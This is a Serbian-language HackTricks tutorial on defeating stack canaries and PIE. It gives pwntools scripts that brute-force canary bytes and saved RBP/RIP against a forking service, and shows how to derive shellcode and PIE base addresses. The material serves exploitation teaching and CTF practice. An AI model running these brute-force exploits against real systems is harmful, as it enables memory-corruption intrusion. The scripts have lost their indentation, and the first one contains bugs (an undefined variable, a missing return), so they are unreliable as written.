hacktricks/exploiting/linux-exploiting-basic-esp/bypassing-canary-and-pie.md
2024-02-10 13:11:20 +00:00

9 KiB

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Ako se suočavate sa binarnim fajlom zaštićenim kanarincem i PIE (Position Independent Executable), verovatno ćete morati da pronađete način da ih zaobiđete.

{% hint style="info" %} Imajte na umu da checksec možda neće otkriti da je binarni fajl zaštićen kanarincem ako je statički kompajliran i nije u mogućnosti da identifikuje funkciju.
Međutim, možete ručno primetiti ovo ako primetite da se vrednost čuva na steku na početku poziva funkcije i ta vrednost se proverava pre izlaska. {% endhint %}

Brute force kanarinca

Najbolji način za zaobilaženje jednostavnog kanarinca je ako je binarni fajl program koji forkuje podprocese svaki put kada uspostavite novu konekciju sa njim (mrežna usluga), jer će se svaki put kada se povežete koristiti isti kanarinac.

Zatim, najbolji način za zaobilaženje kanarinca je jednostavno brute-force-ovanje po karakteru, i možete utvrditi da li je pogodak tačan proverom da li se program srušio ili nastavlja svoj redovni tok. U ovom primeru funkcija brute-force-uje 8 bajtova kanarinca (x64) i razlikuje između tačno pogodjenog bajta i pogrešnog bajta samo proverom da li je server poslao odgovor (drugi način u drugim situacijama može biti korišćenje try/except):

Primer 1

Ovaj primer je implementiran za 64 bita, ali se lako može implementirati i za 32 bita.

from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary

Primer 2

Ovo je implementirano za 32 bita, ali se lako može promeniti za 64 bita.
Takođe, obratite pažnju da za ovaj primer program očekuje prvo bajt koji označava veličinu unosa i zatim payload.

from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")

Ispisivanje kanara

Još jedan način za zaobilaženje kanara je da ga ispisujete.
Zamislite situaciju u kojoj je program podložan preplavljivanju steka i može izvršiti funkciju puts koja ukazuje na deo preplavljenog steka. Napadač zna da je prvi bajt kanara nula bajt (\x00) i da su ostali bajtovi kanara slučajni. Zatim, napadač može stvoriti preplavljivanje koje prepisuje stek sve do prvog bajta kanara.
Zatim, napadač poziva funkcionalnost puts na sredini payloada koja će ispisati ceo kanar (osim prvog nula bajta).
Sa ovim informacijama, napadač može kreirati i poslati novi napad znajući kanar (u istoj sesiji programa).

Očigledno, ova taktika je veoma ograničena jer napadač mora biti u mogućnosti da ispisuje sadržaj svog payloada kako bi izvukao kanar, a zatim biti u mogućnosti da kreira novi payload (u istoj sesiji programa) i pošalje pravi preplavljivanje bafera.
CTF primer: https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html

PIE

Da biste zaobišli PIE, morate procuriti neku adresu. Ako binarni fajl ne procuri nikakve adrese, najbolje je da brute-force-ujete RBP i RIP sačuvane na steku u ranjivoj funkciji.
Na primer, ako je binarni fajl zaštićen i kanarom i PIE-om, možete početi sa brute-force-ovanjem kanara, a zatim će sledećih 8 bajtova (x64) biti sačuvani RBP, a sledećih 8 bajtova će biti sačuvani RIP.

Da biste brute-force-ovali RBP i RIP iz binarnog fajla, možete zaključiti da je tačan bajt koji je pogodjen ako program nešto izbaci ili jednostavno ne padne. Ista funkcionalnost koja je pružena za brute-force-ovanje kanara može se koristiti i za brute-force-ovanje RBP i RIP:

print("Brute-Forcing RBP")
base_canary_rbp = get_bf(base_canary)
RBP = u64(base_canary_rbp[len(base_canary_rbp)-8:])
print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])

Dobijanje bazne adrese

Poslednja stvar koju trebate da pobedite PIE je da izračunate korisne adrese iz procurjelih adresa: RBP i RIP.

Iz RBP-a možete izračunati gde pišete svoj shell na steku. Ovo može biti veoma korisno da biste znali gde ćete napisati string "/bin/sh\x00" unutar steka. Da biste izračunali udaljenost između procurjelog RBP-a i vašeg shell koda, jednostavno postavite prekidnu tačku nakon što procuri RBP i proverite gde se nalazi vaš shell kod, a zatim možete izračunati udaljenost između shell koda i RBP-a:

INI_SHELLCODE = RBP - 1152

Iz RIP-a možete izračunati baznu adresu PIE binarnog fajla, što će vam biti potrebno da biste kreirali validan ROP lanac.
Da biste izračunali baznu adresu, jednostavno izvršite objdump -d vunbinary i proverite poslednje adrese disasemblovane:

U ovom primeru možete videti da je potrebno samo 1 bajt i pol da biste locirali sav kod, zatim, bazna adresa u ovom slučaju će biti procureni RIP, ali završava na "000". Na primer, ako je procurio 0x562002970ecf, bazna adresa je 0x562002970000.

elf.address = RIP - (RIP & 0xfff)
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u: